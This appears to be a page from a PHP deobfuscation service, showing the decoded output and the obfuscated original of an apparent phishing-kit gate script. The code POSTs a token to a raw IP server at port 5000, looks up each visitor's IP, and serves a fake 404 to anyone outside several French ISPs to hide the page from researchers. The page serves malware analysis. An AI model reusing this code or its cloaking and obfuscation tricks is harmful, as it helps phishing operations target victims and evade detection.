Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ySYky; txQQT: $data = array("\x74\157\x6b\x65\x6e" => $token); goto WxpbZ; OW..

Decoded Output download

<?php 
 goto ySYky; txQQT: $data = array("token" => $token); goto WxpbZ; OWnwD: $url = "http://102.165.14.4:5000/receive_token?referrer=loco"; goto txQQT; p0EJj: $visitor_ip = $_SERVER["REMOTE_ADDR"]; goto OF_wG; ySYky: include "params.php"; goto ImHrV; r_ge0: if (!isset($_SESSION)) { session_start(); } goto cbwoi; OF_wG: $ipinfo_json = getIpInfo($visitor_ip); goto CXMJm; CXMJm: if ($ipinfo_json["status"] != "fail") { $org = "{$ipinfo_json["as"]}"; $isps = "{$ipinfo_json["isp"]}"; } else { $org = "Introuvable"; $isps = "Introuvable"; } goto CtVzd; kS53q: file_get_contents($url, false, $context); goto r_ge0; cbwoi: $ip = $_SERVER["REMOTE_ADDR"]; goto C3PjI; WxpbZ: $context = stream_context_create(array("http" => array("header" => "Content-type: application/x-www-form-urlencoded
", "method" => "POST", "content" => http_build_query($data)))); goto kS53q; ImHrV: $token = $wall_e_token; goto OWnwD; C3PjI: function getIpInfo($ip = '') { $ipinfo = file_get_contents("http://ip-api.com/json/" . $ip); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } goto p0EJj; CtVzd: if (strpos($org, "Neuf") || strpos($org, "Bouygues") || strpos($org, "Orange") || strpos($org, "Sfr") || strpos($org, "SFR") || strpos($org, "Free") || strpos($org, "Wanadoo")) { } else { die("<h1> 404 ERROR </h1>"); } ?>

Did this file decode correctly?

Original Code

<?php
 goto ySYky; txQQT: $data = array("\x74\157\x6b\x65\x6e" => $token); goto WxpbZ; OWnwD: $url = "\150\164\x74\160\x3a\57\57\x31\x30\62\56\61\66\65\56\61\x34\x2e\x34\72\65\x30\x30\60\x2f\x72\145\143\145\x69\166\x65\x5f\164\157\x6b\x65\x6e\77\x72\x65\x66\145\162\162\145\162\75\x6c\x6f\143\157"; goto txQQT; p0EJj: $visitor_ip = $_SERVER["\122\105\115\117\124\x45\137\x41\x44\x44\x52"]; goto OF_wG; ySYky: include "\160\141\162\141\155\x73\x2e\x70\150\160"; goto ImHrV; r_ge0: if (!isset($_SESSION)) { session_start(); } goto cbwoi; OF_wG: $ipinfo_json = getIpInfo($visitor_ip); goto CXMJm; CXMJm: if ($ipinfo_json["\x73\x74\x61\x74\x75\163"] != "\x66\141\151\x6c") { $org = "{$ipinfo_json["\141\x73"]}"; $isps = "{$ipinfo_json["\151\x73\160"]}"; } else { $org = "\111\156\164\162\157\165\x76\141\x62\154\145"; $isps = "\111\x6e\164\x72\x6f\165\x76\141\142\154\145"; } goto CtVzd; kS53q: file_get_contents($url, false, $context); goto r_ge0; cbwoi: $ip = $_SERVER["\122\x45\x4d\x4f\x54\x45\x5f\x41\104\104\x52"]; goto C3PjI; WxpbZ: $context = stream_context_create(array("\x68\x74\x74\160" => array("\x68\x65\x61\144\x65\162" => "\103\x6f\156\x74\145\156\164\55\x74\x79\x70\x65\x3a\x20\141\x70\x70\x6c\151\x63\x61\164\x69\x6f\x6e\x2f\170\x2d\x77\x77\167\55\146\x6f\162\155\55\x75\x72\154\145\156\x63\157\x64\x65\x64\15\12", "\x6d\x65\x74\x68\157\144" => "\x50\117\123\x54", "\143\x6f\x6e\164\145\x6e\164" => http_build_query($data)))); goto kS53q; ImHrV: $token = $wall_e_token; goto OWnwD; C3PjI: function getIpInfo($ip = '') { $ipinfo = file_get_contents("\150\x74\164\160\72\57\x2f\x69\160\x2d\x61\x70\x69\x2e\x63\157\x6d\57\152\x73\x6f\156\57" . $ip); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } goto p0EJj; CtVzd: if (strpos($org, "\x4e\x65\x75\146") || strpos($org, "\102\x6f\x75\x79\147\165\x65\163") || strpos($org, "\x4f\x72\141\156\x67\x65") || strpos($org, "\x53\146\x72") || strpos($org, "\x53\x46\122") || strpos($org, "\x46\x72\145\x65") || strpos($org, "\127\141\x6e\x61\x64\x6f\157")) { } else { die("\x3c\x68\x31\76\40\64\60\x34\40\105\122\122\x4f\122\x20\x3c\x2f\150\61\76"); }

Function Calls

None

Variables

None

Stats

MD5 28246d694408024adca23b92f71faf85
Eval Count 0
Decode Time 34 ms